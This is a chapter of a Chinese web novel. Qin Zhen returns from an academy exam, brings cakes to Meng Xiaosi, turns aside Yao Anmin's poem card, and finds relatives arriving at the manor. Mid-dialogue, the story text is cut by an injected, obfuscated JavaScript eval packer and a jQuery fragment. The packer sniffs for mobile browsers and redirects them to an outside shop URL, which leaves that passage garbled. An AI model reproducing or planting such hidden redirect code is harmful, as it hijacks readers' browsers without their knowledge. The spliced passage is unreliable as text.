申时末,各坊市之间已经没有什么人在走动了,街市上一片安静。
一阵哒哒的马蹄声踏碎了这份寂静。
秦蓁和孟小四两人紧赶慢赶,终于在幼时之前回到了侯府。
阿核阿桃等在门口,见到二人才松了口气。
“小娘子,差点以为你们今日出了什么岔子,我和阿核等了许久了。”
阿核连连点头。
秦蓁摆摆手,“是有那么一点点意外,不过已经解决了。”
她拍着孟小四的肩,“好兄弟,下次请你吃好吃的。”
“一顿可不够。”孟小四喘着气,这一天文试武试考完,还要陪着这位姑奶奶阴人,之后还要驾车回来,拉磨的驴都没有他这么辛苦。
王若桑只考文试,本说好一同回来,秦蓁为了套麻袋让人先回去了,留下了辆马车。
秦蓁笑眯眯的道:“放心,有我一口吃的就有你的份。”
孟小四拱手,“那小的在此谢过。”
阿桃提醒道:“小娘子,夫人给您做了定胜糕,就等你了。”
“定胜糕?”秦蓁眼睛一亮,“咱们快过去。”
孟小四望着秦蓁急匆匆的背影,暗自苦笑,才说的有他一份,结果转眼就跑没影了。
秦蓁到了琉芳院,在门口整了整衣裙,好在在马车上换回来了,她又是一个大家闺秀。
规规矩矩给何汝君请安了之后,秦蓁被拉着坐下。
“看时间不早了,本想着让你阿兄去寻你的,结果你阿爹说有孟州在,不会出事。”
秦铮笑道:“我说的是实话,这不是好好的回来了吗?孟州那孩子比……稳重,还有一身武艺,不会让她吃亏的。”
“我觉得也是,长岁也是个乖巧的孩子,”何汝君摸着秦蓁的头,“对了,今日的考核如何?”
今日才套麻袋揍人的秦蓁有些心虚,“还好吧,我觉得肯定能过。”
秦铮道:“她那学问还差得多,怪我……”
何汝君好笑的看着他,他及时反应过来,他驻地隔的距离老远,他能做什么?
“应该让枝无道长给她找个好先生的。”
何汝君垂眸道:“长岁能平平安安的长大我就知足了。”
时辰不早了,秦蓁拾掇起盘糕点同父母告辞,又换上了夜行衣,不过这次,是给孟小四送糕点的。
秦蓁敲窗时孟小四吓了一跳,他同府里的管事们住在一个院子里,生怕吵醒了他们。
“孟小四,开窗!”
孟小四蹑手蹑脚的猫到窗边,压低了声音,“秦老大,你来做什么?”
秦蓁也小声道:“过来给你送东西,快点。”
孟小四打开窗,迎面就是个油皮纸。
“喏,我阿娘亲手做的糕点,说好的有你的份。”
秦蓁见孟小四不收,直接塞进了他怀里。
“回来的太晚,出来时内院门已经锁了,就这么过来了。”秦蓁还不忘嘱咐道,“夜里少吃些糕点,免得睡不着。”
孟小四心里五味杂陈,抱着糕点,嘴里却道:“我都睡着了,硬生生又被你叫醒,现在担心我睡……”
触及到秦蓁骇人的目光,孟小四默默咽下要说的话。
“给你送糕点还是我的错了?这可是定胜糕,吃了你今日考核一定能过。”秦蓁气闷道,“你吃不吃?不吃我可拿走了!”
说着秦蓁就伸手过来作势要拿走。
“吃吃吃,”孟小四护着糕点退了两步,“给出去的东西可就要不回去了。”
秦蓁翻了个白眼,她就知道。
“行了,我也走了,你早些睡。”
孟小四看着秦蓁轻车熟路的翻过围墙,小心翼翼的把窗户关上,从油纸包里摸出来块糕点。
真甜啊!
何汝君不擅长做饭,但喜欢研究些吃食,昨日做了好些糕点,一大早的吃食也有好些糕点。秦铮草莽出身,向来不喜浪费食物,若是府里上上下下的都吃不完只要没坏也会继续吃。于是秦蓁装了一盒糕点,打算带给陶高鹞。
因为他之前是真病了,本就一直在睡觉,病好了之后睡得更沉了,也不知为何不养好病再来。
陶高鹞咬着糕点,一副高深莫测的样子。
“你不懂。”
秦蓁才懒得弄懂,转过了身,就感觉肩膀被点了下。
她微微侧头,“做什么?”
陶高鹞声音奄奄的,“你参加国子监考核了?成绩如何?”
“不知道。”秦蓁回道,“还没有收到。”
陶高鹞声音微顿,“我都忘了,你就算不考核也能进去。”
秦蓁听着他情绪不对,她转过身,“怎么?舍不得我带的糕点了?”
陶高鹞轻笑道:“你说的这是什么话?不能是舍不得你吗?”
他眸光微黯,羽睫微颤,“之前墨尧也坐在我前面。”
秦蓁有些诧异,“所以你一开始为何看我不顺眼找我麻烦?”
他同阿兄关系那么好,不可能不知道吧?
陶高鹞眼神躲闪,“那都多久以前的事了?你也知道我总是睡觉,真不知道你是他妹妹。”
“行吧!”秦蓁放过这茬,“所以你想他了?”
陶高鹞道:“我们同窗七载,他去了国子监,我总是有些不习惯的。”
“行了,之后在外面聚就行了,距离又不远。”
陶高鹞长叹一声,“秦二娘,我又些羡慕你的洒脱了。”
秦蓁余光瞥见先生来了,连忙转过身打断道,“先生来了,好好听课。”
你听得懂吗?陶高鹞看着秦蓁的背影,终究把思绪掩埋下。
早晨课毕,秦蓁又碰上了独自一人的姚安旻。
姚安旻笑容清浅,“听闻你昨日去参加国子监考核了?感觉如何?”
秦蓁狐疑,“你怎么知道?”
昨日放假,按照道理来说他不该知道才是,这些人消息这么灵?
陶高鹞笑道:“国子监是天下第一的学府,你想去实属正常。”
秦蓁应付道:“还行吧反正能写的都写上去了。”
“你这么说,想必是十拿九稳了。”
姚安旻拿出一纸花笺,“这个送给你。”
秦蓁没有接,花笺诶,谁知道上面写了什么玩意儿?
姚安旻也不恼,“两句诗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13482326|134977||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
罢了,不必介怀。”
秦蓁只好接过,粗略一看,写的还挺有文采,比魏延的好多了,写着袍泽之义,她读了之后还颇有些感动。
抬头一看,姚安旻已经跑出好远了。
“他跑这么快做什么?”
秦蓁只好把花笺塞到袖子里,继续去饭堂。
王若桑这几日精神有些不济,国子监没有送来考核结果,她的心就一直悬在半空。
听到秦蓁说姚安旻又过来找她,再看过哪句诗,心中更是烦闷。
“看来这位姚三郎是别有所图。”
秦蓁也是这样觉得的,“等会我就把这个放回去。”
送回比拿到容易太多了,秦蓁不费吹灰之力,就把花笺塞进了姚安旻的书箱里。
临近春节,何氏族学也开始了放春假。
秦蓁上完最后一节课,长舒一口气。
终于不用再去上学了,不用再跟知乎者也打交道了。
这一日,先生上了半日就不上了,秦蓁约了陶高鹞一起去玉娘子的店里吃饭。
老规矩,还是陶高鹞付钱,毕竟是为了照顾玉娘子的生意。
王若桑和孟小四都一起来了,在玉娘子小楼之上,四个少年点了一桌子菜,边吃边聊。
王若桑和孟小四一开始还有些拘谨,毕竟对面的人是皇子,却没想到他如此和善。尤其是孟小四,熟了一些就开始喊哥哥了,简直自来熟的可以。
几人谈笑之间,离别的愁绪也散了不少。
陶高鹞喝了几盅酒,对着王若桑又说眼熟,那双迷蒙的眼睛让秦蓁又翻了几个白眼,他看得清人影吗?
这还是秦蓁第一次见陶高鹞喝的醉醺醺的样子,像一只熟透了红彤彤的虾。
不过看到玉娘子就不醉了,甚至还能自己走两步。
也不知道是什么缘故?秦蓁让孟小四摸他的钱,结果没翻到。
孟小四一开始根本不敢,但总不能让秦蓁和王若桑摸,秦蓁又虎视眈眈地看着,只好硬着头皮下手。
“秦老大,这皇子就是不一般,出门都不用带银子的。”
秦蓁皱起眉,觉得自己上当了,这个皇子是真穷啊!怪不得当时阿兄要过来寻她,就是为了过来付钱的吧?
秦蓁只好自己付了钱。
后来,孟小四送陶高鹞回去,王若桑和秦蓁一道走。
回到侯府,秦蓁看到门口有三辆不认识的马车,看起来有几分华贵。
秦蓁问门房,“这是有客人来了?”
门房回道:“是的,侯爷的亲戚过来了。”
秦蓁甚少听道秦铮提起亲戚,她这么久也只知道阮红玉和魏延两人,还是他们自己找上门的,要不她根本不知道。
“哪里来的亲戚?”
门房垂着头,“说是过来接人的。”
“接人?”
秦蓁同王若桑对视一眼,“不会是来接桑桑的吧?”
是干娘来接自己了?
门房一句话打破二人的思绪:“来接阮娘子和魏郎君的。”
秦蓁更诧异了,表姑不是已经和离了?来接她的人是谁?记得阿爹说表姑奶奶已经不在人世了呀?